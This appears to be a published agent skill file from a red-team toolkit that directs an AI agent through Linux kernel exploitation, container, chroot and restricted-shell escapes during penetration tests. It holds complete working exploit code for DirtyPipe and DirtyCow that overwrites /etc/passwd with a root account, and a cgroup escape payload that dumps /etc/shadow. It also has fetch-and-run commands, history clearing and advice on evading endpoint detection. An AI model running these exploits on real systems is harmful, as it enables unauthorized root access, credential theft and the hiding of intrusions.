Agent skill

linux-kernel-exploits

Exploit Linux kernel vulnerabilities and escape restricted shells for privilege escalation.

Stars 126
Forks 14

Install this agent skill to your Project

npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/privesc/linux-kernel-exploits

SKILL.md

Linux Kernel Exploitation and Restricted Shell Escape

You are helping a penetration tester exploit Linux kernel vulnerabilities and escape restricted shell environments for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [linux-kernel-exploits] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Exploit and Tool Transfer

Never download exploits or scripts directly to the target from the internet. Use the attackbox-first workflow:

  1. Download on attackboxgit clone, curl, or searchsploit -m locally
  2. Review — inspect source before transferring
  3. Servepython3 -m http.server 8080 on attackbox
  4. Pull from targetwget http://ATTACKBOX:8080/file -O /tmp/file

If HTTP is not viable: scp, nc, or base64-encode and paste.

Inline C source written via heredoc in this skill (DirtyPipe, DirtyCow, chroot escapes) does not need this workflow — it is embedded and reviewable.

Prerequisites

  • Shell access on Linux target (even restricted shell for escape techniques)
  • For kernel exploits: gcc on target (or cross-compile on attacker and transfer)
  • For exploit suggesters: ability to run scripts (bash/perl/python)

Step 1: Identify Kernel and Environment

bash
# Kernel version (primary identifier for CVE matching)
uname -r
uname -a
cat /proc/version

# Distribution and version
cat /etc/os-release 2>/dev/null
lsb_release -a 2>/dev/null
cat /etc/issue 2>/dev/null

# Architecture
uname -m
# x86_64, i686, aarch64, armv7l, etc.

# Check kernel protections
cat /proc/sys/kernel/randomize_va_space     # KASLR: 0=off, 2=full
cat /proc/sys/kernel/kptr_restrict          # Kernel pointer hiding: 0=visible
cat /proc/sys/kernel/yama/ptrace_scope      # ptrace: 0=permissive
cat /proc/sys/kernel/dmesg_restrict         # dmesg access: 0=all users

# Check security modules
sestatus 2>/dev/null                        # SELinux
aa-status 2>/dev/null                       # AppArmor
cat /proc/sys/kernel/modules_disabled       # Module loading: 1=disabled

# Compiler availability
which gcc cc g++ 2>/dev/null
gcc --version 2>/dev/null

Decision tree — determine the approach:

Situation Go to
Known vulnerable kernel version Step 2 (Exploit Suggesters) → Step 3 (CVE Exploits)
Unknown if kernel is vulnerable Step 2 (Exploit Suggesters)
Restricted shell (rbash, rksh) Step 5 (Restricted Shell Escape)
Chroot jail Step 6 (Chroot Escape)
Container needing kernel exploit Step 4 (Container Kernel Escapes)

Step 2: Exploit Suggesters

Run automated tools to identify applicable kernel CVEs.

linux-exploit-suggester.sh

bash
# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -o les.sh
# Review script, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh

# Run
/tmp/les.sh

# Run with specific kernel version (if can't determine automatically)
/tmp/les.sh --uname "3.10.0-514.el7.x86_64"

# Run with CVE filtering
/tmp/les.sh --cvelist-file /tmp/cves.txt

linux-exploit-suggester-2.pl

bash
# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl -o les2.pl
# Review script, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/les2.pl -O /tmp/les2.pl

# Run
perl /tmp/les2.pl

# With specific kernel
perl /tmp/les2.pl -k 3.10.0

Manual Version Matching

bash
# Search ExploitDB
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"
searchsploit "linux kernel" | grep -i "privilege\|local\|root"

# Check known vulnerable ranges (quick reference)
uname -r

Quick kernel CVE version table:

CVE Name Vulnerable Kernels Reliability
CVE-2016-5195 DirtyCow ≤ 4.8.3 (race condition) High (but old)
CVE-2022-0847 DirtyPipe 5.8 – 5.16.11, 5.15.x < 5.15.25 High
CVE-2023-0386 OverlayFS (GameOver(lay)) 5.11 – 6.2 (Ubuntu specific) High
CVE-2023-32233 Netfilter nf_tables UAF 5.x – 6.3.1 Medium
CVE-2024-1086 Netfilter nf_tables UAF (v2) 5.14 – 6.6 Medium
CVE-2022-2588 route4 UAF 5.x – 5.19 Medium
CVE-2021-4034 PwnKit (pkexec) Any with polkit ≤ 0.120 High (userspace)
CVE-2022-0492 Cgroup escape 5.x (container) Medium
CVE-2010-3904 RDS ≤ 2.6.36-rc8 High (legacy)
CVE-2012-0056 Mempodipper 2.6.39 – 3.2.2 High (legacy)
CVE-2010-4258 Full Nelson 2.6.37 High (legacy)

Assess exploit suggester output and go to Step 3 for the best-matching CVE.

Step 3: Kernel CVE Exploitation

CVE-2022-0847 — DirtyPipe

Affected: Linux 5.8 through 5.16.11 (and 5.15.x before 5.15.25)

Check vulnerability:

bash
uname -r
# Must be 5.8.x through 5.16.11
# 5.15.x must be below 5.15.25

# Quick test: can you write to a read-only file?
# (The exploit does this programmatically)

Exploit:

bash
# Option 1: Overwrite /etc/passwd (most reliable)
# Reference: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Inline source below — no transfer needed

cat > /tmp/dirtypipe.c << 'EXPLOIT'
/* CVE-2022-0847 — DirtyPipe /etc/passwd overwrite
 * Overwrites root's password hash in /etc/passwd to gain root access.
 * Based on Max Kellermann's original PoC.
 *
 * Compile: gcc -o dirtypipe dirtypipe.c
 * Usage:   ./dirtypipe
 * Then:    su root (password: piped)
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

static void prepare_pipe(int p[2]) {
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    unsigned r;
    for (r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    for (r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

int main() {
    const char *const path = "/etc/passwd";
    /* New root entry with password 'piped' */
    const char *const data = "root:$6$dirtypipe$JhEN7PSqFf5xHHLRGSCe1cMfCkVSWn4tajGbQn5Is.gx3TkSn1qFzjqOnETwELOjGODB5EhQXhUmL8OGBnMYq/:0:0::/root:/bin/bash\n";
    printf("[*] DirtyPipe CVE-2022-0847 — /etc/passwd overwrite\n");

    loff_t offset = 0;
    /* Find "root:" in /etc/passwd */
    int fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    struct stat st;
    fstat(fd, &st);

    /* Read file to find root line offset */
    char *buf = malloc(st.st_size);
    read(fd, buf, st.st_size);
    char *root_line = strstr(buf, "root:");
    if (!root_line) { printf("[-] 'root:' not found\n"); return 1; }
    offset = root_line - buf;
    printf("[*] Found 'root:' at offset %lld\n", (long long)offset);

    /* Need at least 1 byte before the data in the same page */
    if (offset % PAGE_SIZE == 0) {
        printf("[-] Offset is page-aligned, exploit may not work\n");
        return 1;
    }

    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end = offset + (loff_t)strlen(data);
    if (end > next_page) {
        printf("[-] Data crosses page boundary\n");
        return 1;
    }

    close(fd);
    fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    int p[2];
    prepare_pipe(p);

    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) { perror("splice"); return 1; }

    nbytes = write(p[1], data, strlen(data));
    if (nbytes < 0) { perror("write"); return 1; }
    printf("[+] /etc/passwd overwritten. Run: su root (password: piped)\n");
    close(fd);
    free(buf);
    return 0;
}
EXPLOIT

gcc -o /tmp/dirtypipe /tmp/dirtypipe.c
/tmp/dirtypipe

# After exploit:
su root
# Password: piped

Option 2: Overwrite SUID binary:

bash
# Some PoCs overwrite a SUID binary temporarily to get a shell
# Less reliable but doesn't modify /etc/passwd
# On attackbox: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Review exploit-2.c, compile, then transfer binary to target

Troubleshooting:

  • Exploit fails silently → kernel is patched (5.16.11+ or 5.15.25+)
  • splice: Invalid argument → kernel too old (< 5.8) or feature disabled
  • Restore original /etc/passwd: exploit should print backup; if not, use cp /etc/passwd- /etc/passwd

CVE-2016-5195 — DirtyCow

Affected: Linux ≤ 4.8.3 (race condition in copy-on-write)

Check vulnerability:

bash
uname -r
# Vulnerable if kernel < 4.8.3
# Most distros patched quickly — check distro-specific kernel version

Exploit:

bash
# Option 1: Overwrite /etc/passwd (cowroot/dirty.c)
# Reference: searchsploit -m 40839 (inline source below — no transfer needed)

cat > /tmp/dirtycow.c << 'EXPLOIT'
/* CVE-2016-5195 — DirtyCow /etc/passwd modification
 * Compile: gcc -pthread -o dirtycow dirtycow.c
 * Usage:   ./dirtycow
 *
 * Race condition — may need multiple attempts.
 * Creates firefart:password root user.
 */
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;

/* New passwd line: firefart with password 'password' and UID 0 */
char *payload = "firefart:fi3sED95ibqR6:0:0:pwned:/root:/bin/bash\n";

void *madviseThread(void *arg) {
    while (!stop) {
        madvise(map, 100, MADV_DONTNEED);
        usleep(1);
    }
    return NULL;
}

void *procselfmemThread(void *arg) {
    char *str = (char *)arg;
    int f = open("/proc/self/mem", O_RDWR);
    int i;
    for (i = 0; i < 100000000 && !stop; i++) {
        lseek(f, (uintptr_t)map, SEEK_SET);
        write(f, str, strlen(str));
        usleep(1);
    }
    close(f);
    return NULL;
}

int main(int argc, char *argv[]) {
    printf("[*] DirtyCow CVE-2016-5195\n");

    f = open("/etc/passwd", O_RDONLY);
    fstat(f, &st);
    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);

    printf("[*] Racing... this may take a moment\n");

    pthread_t pth1, pth2;
    pthread_create(&pth1, NULL, madviseThread, NULL);
    pthread_create(&pth2, NULL, procselfmemThread, payload);

    /* Wait for race to complete — typically 1-30 seconds */
    sleep(30);
    stop = 1;
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    printf("[+] Done. Try: su firefart (password: password)\n");
    return 0;
}
EXPLOIT

gcc -pthread -o /tmp/dirtycow /tmp/dirtycow.c
/tmp/dirtycow

# Wait ~30 seconds for race condition
su firefart
# Password: password

Stability warning: DirtyCow is a race condition. It can occasionally corrupt memory or cause the system to become unstable. Warn the tester before executing.

Troubleshooting:

  • Race never wins → increase sleep time, run multiple times
  • System becomes unstable → reboot may be needed (check with client)
  • Compiled on wrong architecture → cross-compile for target arch

CVE-2023-0386 — GameOver(lay) / OverlayFS

Affected: Linux 5.11 through 6.2 (Ubuntu-specific overlayfs patches)

Check vulnerability:

bash
uname -r
cat /etc/os-release
# Primarily affects Ubuntu kernels with overlayfs user namespace support
# Check if user namespaces are enabled:
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
sysctl kernel.unprivileged_userns_clone 2>/dev/null

Exploit:

bash
# On attackbox: clone and compile
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
# Review source code
make
# Package for transfer
tar czf cve-2023-0386.tar.gz fuse exp ovlcap/
# Serve: python3 -m http.server 8080

# On target: pull from attackbox and extract
wget http://ATTACKBOX:8080/cve-2023-0386.tar.gz -O /tmp/cve-2023-0386.tar.gz
cd /tmp && tar xzf cve-2023-0386.tar.gz

# Terminal 1: Set up the FUSE mount
./fuse ./ovlcap/lower ./gc &

# Terminal 2: Trigger the exploit
./exp

# Should get root shell
id

Alternative PoC repos (clone on attackbox, review, then transfer):

  • https://github.com/sxlmnwb/CVE-2023-0386
  • https://github.com/briskets/CVE-2023-0386

Prerequisites:

  • Ubuntu kernel with overlayfs user namespace support
  • User namespaces enabled (unprivileged_userns_clone = 1)
  • libfuse-dev for compilation

CVE-2023-32233 — Netfilter nf_tables Use-After-Free

Affected: Linux 5.x through 6.3.1

bash
uname -r
# Check if nf_tables module is loaded
lsmod | grep nf_tables

# On attackbox: git clone https://github.com/Liuk3r/CVE-2023-32233
# Review source, compile, then serve: python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
./exploit

CVE-2024-1086 — Netfilter nf_tables Use-After-Free (v2)

Affected: Linux 5.14 through 6.6 (nf_tables module must be loaded)

This is a newer nf_tables UAF, distinct from CVE-2023-32233. It exploits a double-free in nft_verdict_init() via user namespaces. More reliable than CVE-2023-32233 on newer kernels but requires user namespace support.

Check vulnerability:

bash
uname -r
# Must be 5.14.x through 6.6.x

# nf_tables module loaded
lsmod | grep nf_tables

# User namespaces enabled (required)
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
# Or: sysctl kernel.unprivileged_userns_clone

# Seccomp status (exploit may fail under seccomp)
grep Seccomp /proc/self/status
# Seccomp: 0 = no filter (good), 2 = filter active (may block)

Exploit:

bash
# On attackbox: clone and compile
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
# Binary: exploit

# Transfer to target
# python3 -m http.server 8080
# On target: wget http://ATTACKBOX:8080/exploit -O /tmp/exploit_1086
chmod +x /tmp/exploit_1086
/tmp/exploit_1086

Alternative PoC repositories (if the primary fails):

  • https://github.com/Notselwyn/CVE-2024-1086 — original researcher's PoC
  • https://github.com/CCob/CVE-2024-1086 — alternative implementation

Troubleshooting:

Symptom Cause Fix
"failed to detect overwritten pte" PTE spray didn't land Race condition — retry 3-5 times. Try alternative PoC repos with different spray strategies
"pmd: 00000000cafebabe" Sentinel value, spray completely missed Kernel config may differ from what exploit expects. Try alternative PoC
Seccomp blocks syscalls Shell has seccomp filter (common in PHP-FPM, Docker) Run from a non-seccomp context (SSH session, not webshell)
"Operation not permitted" on CLONE_NEWUSER User namespaces disabled Check kernel.unprivileged_userns_clone. If 0, this exploit won't work
Exploit hangs Race condition timing Run with timeout 120 /tmp/exploit_1086. Kill and retry
Kernel panic/oops UAF corruption Inherent risk with UAF exploits. Warn client. May need box reboot

Key insight: This exploit is a race condition. A single failure does NOT mean the kernel is patched. Retry 3-5 times before concluding it's blocked. If all retries fail with the same PTE error, try an alternative PoC repository — different implementations use different spray strategies.

CVE-2022-2588 — route4 Use-After-Free

Affected: Linux 5.x through 5.19

bash
uname -r
# On attackbox: git clone https://github.com/Markakd/CVE-2022-2588
# Review source, compile: gcc -o exp exp.c -lpthread
# Serve: python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/exp -O /tmp/exp
chmod +x /tmp/exp
./exp

Legacy Kernel Exploits (Quick Reference)

For older kernels (≤ 3.x), these exploits are well-documented:

CVE Name Kernel ExploitDB
CVE-2010-3904 RDS Protocol ≤ 2.6.36-rc8 15285
CVE-2010-4258 Full Nelson 2.6.37 15704
CVE-2012-0056 Mempodipper 2.6.39 – 3.2.2 18411
CVE-2013-2094 perf_swevent 2.6.32 – 3.8.9 25444
CVE-2014-0196 rawmodePTY ≤ 3.14.3 33516
CVE-2015-1328 OverlayFS (Ubuntu) 3.13 – 3.19 (Ubuntu) 37292
CVE-2017-16995 eBPF verifier 4.4 – 4.14 45010
bash
# On attackbox: fetch from ExploitDB and compile
searchsploit -m EDBID
gcc -o exploit exploit.c -lpthread
# Review source, then serve:
# python3 -m http.server 8080

# On target: pull compiled binary from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
./exploit

Pre-compiled Exploit Repositories

When gcc is unavailable on target, use pre-compiled binaries. Clone on attackbox, review, then transfer the matching binary:

  • https://github.com/lucyoa/kernel-exploits — organized by CVE with README
  • https://github.com/bwbwbwbw/linux-exploit-binaries — pre-compiled for multiple archs
  • https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack — broader collection
bash
# On target: identify architecture
uname -m
file /bin/ls

# On attackbox: clone matching repo, select binary for target arch
# git clone https://github.com/lucyoa/kernel-exploits
# Review binary provenance, then serve:
# python3 -m http.server 8080

# On target: pull from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit

Step 4: Container Kernel Escapes

When exploiting from inside a container, certain kernel CVEs enable host escape.

CVE-2022-0492 — Cgroup release_agent

Affected: Containers with CAP_SYS_ADMIN (privileged containers)

bash
# Check if in container
cat /proc/1/cgroup 2>/dev/null | grep -qE "docker|lxc|kubepods" && echo "CONTAINER"
cat /.dockerenv 2>/dev/null && echo "DOCKER"

# Check capabilities
capsh --print 2>/dev/null | grep cap_sys_admin

# Mount cgroup
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || mount -t cgroup -o memory cgroup /tmp/cgrp

# Create child cgroup
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# Find host path to container filesystem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Set release agent to host-accessible payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create payload on container filesystem (visible to host via overlay)
cat > /cmd << 'PAYLOAD'
#!/bin/sh
# Runs on HOST when cgroup is released
ps aux > /output  # Proof of host execution
cat /etc/shadow > /shadow_dump
PAYLOAD
chmod 755 /cmd

# Trigger release — add and remove a process from cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Check output
cat /output 2>/dev/null
cat /shadow_dump 2>/dev/null

Privileged + hostPID Escape

bash
# If --privileged --pid=host was used:
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Now in host namespace as root

Route to container escape skills (Phase 6) for comprehensive container breakout.

Step 5: Restricted Shell Escape

Escape restricted shell environments (rbash, rksh, rzsh) to get a full shell.

Identify Restrictions

bash
# Check shell type
echo $SHELL
echo $0

# Test what's restricted
cd /tmp           # cd blocked?
echo test > /tmp/test   # redirect blocked?
export PATH=/usr/bin    # PATH modification blocked?
command -v python3      # What commands are available?

GTFOBins Shell Escapes

If any of these binaries are available, use them to spawn a full shell:

Editors:

bash
# vi/vim
vi -c ':!/bin/bash'
vi -c ':set shell=/bin/bash' -c ':shell'
:!bash                    # From within vi

# ed
ed
!bash

# nano (if shell command enabled)
# Ctrl-R, Ctrl-X → enter command

Pagers:

bash
# less
less /etc/passwd
!/bin/bash              # From within less

# more
more /etc/passwd
!/bin/bash              # Works when output doesn't fit screen

# man
man man
!/bin/bash              # From within man pager

Interpreters:

bash
# python/python3
python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# perl
perl -e 'exec "/bin/bash";'

# ruby
ruby -e 'exec "/bin/bash"'

# lua
lua -e 'os.execute("/bin/bash")'

# php
php -r 'system("/bin/bash");'

System utilities:

bash
# find
find / -name whatever -exec /bin/bash \;
find . -exec /bin/bash \;

# awk/gawk
awk 'BEGIN {system("/bin/bash")}'

# nmap (old versions with --interactive)
nmap --interactive
!bash

# expect
expect -c 'spawn /bin/bash; interact'

# ftp
ftp
!/bin/bash

# ssh (to localhost)
ssh -o ProxyCommand=';bash 0<&2 1>&2' x

File utilities:

bash
# zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

# tar
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# tee (write to file, bypass redirect restriction)
echo "content" | tee /tmp/output

PATH Manipulation

bash
# If PATH modification is allowed:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

# Copy bash to an allowed directory
cp /bin/bash /tmp/bash 2>/dev/null
/tmp/bash

Bash Variable Tricks

bash
# BASH_CMDS — register custom commands
BASH_CMDS[shell]=/bin/bash
shell

# Declare trick
declare -n PATH
export PATH=/bin:/usr/bin
bash -i

# Function override
function /usr/sbin/allowed_command { /bin/bash; }
export -f /usr/sbin/allowed_command
/usr/sbin/allowed_command

SSH-Based Escapes

bash
# Force full bash via SSH
ssh user@localhost -t bash
ssh user@localhost -t "bash --noprofile --norc"

# ShellShock (CVE-2014-6271) if old bash
ssh user@localhost -t '() { :; }; /bin/bash'

Language-Specific Jail Escapes

Python sandbox escape:

python
# If in a Python jail, access __builtins__
__builtins__.__import__('os').system('/bin/bash')

# Or via subclasses
''.__class__.__mro__[1].__subclasses__()
# Find subprocess.Popen or os._wrap_close, call it

Lua jail escape:

lua
-- If in Lua jail, check available functions
for k,v in pairs(_G) do print(k) end
os.execute("/bin/bash")
-- Or: io.popen("/bin/bash"):read("*a")

-- Encoded bypass
load(string.char(111,115,46,101,120,101,99,117,116,101,40,34,47,98,105,110,47,98,97,115,104,34,41))()

After escaping → re-enumerate with full shell, route to linux-discovery for complete privilege escalation assessment.

Step 6: Chroot Escape

Escape chroot jails when you have root inside the chroot.

Classic Chroot Escape (Root Required)

c
/* Compile: gcc -o chroot_escape chroot_escape.c
 * Must be run as root INSIDE the chroot.
 * Creates a new chroot, then uses relative paths to escape. */
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    mkdir("escape_dir", 0755);
    chroot("escape_dir");
    /* Now our root is escape_dir, but CWD is still outside it */
    int i;
    for (i = 0; i < 100; i++) chdir("..");
    chroot(".");
    printf("[+] Escaped chroot\n");
    execl("/bin/bash", "bash", NULL);
    return 0;
}

Python variant:

python
import os
os.mkdir("escape_dir")
os.chroot("escape_dir")
for i in range(100): os.chdir("..")
os.chroot(".")
os.execl("/bin/bash", "bash")

File Descriptor Escape (Root Required)

c
/* Open FD before chroot, use fchdir to escape */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int fd = open("/", O_RDONLY);  /* Save FD to real root */
    mkdir("jail", 0755);
    chroot("jail");
    fchdir(fd);                    /* Go back to real root via FD */
    close(fd);
    for (int i = 0; i < 100; i++) chdir("..");
    chroot(".");
    printf("[+] Escaped via saved FD\n");
    execl("/bin/bash", "bash", NULL);
    return 0;
}

Mount-Based Escape

bash
# If CAP_SYS_ADMIN inside chroot:
mkdir /tmp/escape
mount -t proc proc /tmp/escape
# Access /tmp/escape/1/root for init's root filesystem
ls /tmp/escape/1/root/
chroot /tmp/escape/1/root bash

Chroot Escape Tools

  • chw00t — automated chroot escape tool:
    bash
    # https://github.com/earthquake/chw00t
    ./chw00t -e classicaliases
    ./chw00t -e mountproc
    ./chw00t -e ptrace
    

Troubleshooting:

  • mkdir: Permission denied → not root inside chroot
  • chroot: Operation not permitted → seccomp or LSM blocking chroot syscall
  • Escape works but no binaries → mount host filesystem or use statically compiled tools

Step 7: Post-Exploitation and Routing

Troubleshooting

Problem Cause Fix
Exploit segfaults Wrong architecture or kernel config Check uname -m, cross-compile for target
Exploit hangs Race condition timing Increase sleep/retry, run multiple instances
gcc not available Minimal install Cross-compile on attacker, transfer binary
Operation not permitted SELinux/AppArmor blocking Check sestatus, aa-status; may need bypass
Exploit succeeds but no root EUID not propagated Use bash -p or check if SUID was dropped
System crashes after exploit Kernel corruption Some exploits are destructive; warn client
Container exploit fails Not privileged container Check capsh --print; need CAP_SYS_ADMIN minimum
rbash blocks everything Very restrictive config Try SSH-based escape or language interpreters
Chroot escape fails Not root in chroot Need root inside chroot first; try other privesc
Compiler errors Missing headers/libs Use -static flag, or pre-compiled binaries

Cleanup Reminders

Remind the user to clean up after testing:

bash
# Remove compiled exploits
rm -f /tmp/dirtypipe /tmp/dirtypipe.c /tmp/dirtycow /tmp/dirtycow.c
rm -f /tmp/les.sh /tmp/les2.pl /tmp/chroot_escape

# Restore /etc/passwd if modified by DirtyPipe
# DirtyPipe: original backed up as /etc/passwd- (if exists)
cp /etc/passwd- /etc/passwd 2>/dev/null

# Restore /etc/passwd if modified by DirtyCow
# DirtyCow: remove firefart user
sed -i '/^firefart:/d' /etc/passwd

# Remove SUID shells
rm -f /tmp/rootbash

# Remove cgroup artifacts (container escape)
rmdir /tmp/cgrp/x 2>/dev/null
umount /tmp/cgrp 2>/dev/null
rm -f /cmd /output /shadow_dump

# Clear history
history -c

OPSEC Notes

Kernel exploits are HIGH OPSEC risk:

  • Compilation on target creates gcc process and object files
  • Exploit execution may trigger kernel oops/panic (visible in dmesg, syslog)
  • Failed exploits may leave processes or corrupt memory
  • CrowdStrike/EDR detects known exploit binaries by hash and behavior
  • Audit logs capture execve of exploit binaries

Mitigation:

  • Cross-compile on attacker machine when possible
  • Use /dev/shm or /tmp for staging (tmpfs, not written to disk)
  • Run exploits inside timeout to prevent hangs: timeout 60 ./exploit
  • Have a rollback plan before running any kernel exploit
  • Always warn about stability risks before executing

Expand your agent's capabilities with these related and highly-rated skills.

blacklanternsecurity/red-run

credential-recovery

Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.

126 14
Explore
blacklanternsecurity/red-run

remote-access-enumeration

Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.

126 14
Explore
blacklanternsecurity/red-run

smb-enumeration

SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).

126 14
Explore
blacklanternsecurity/red-run

infrastructure-enumeration

Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.

126 14
Explore
blacklanternsecurity/red-run

network-recon

Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.

126 14
Explore
blacklanternsecurity/red-run

container-escapes

Container escape, Docker breakout, and Kubernetes exploitation.

126 14
Explore

Didn't find tool you were looking for?

Be as detailed as possible for better results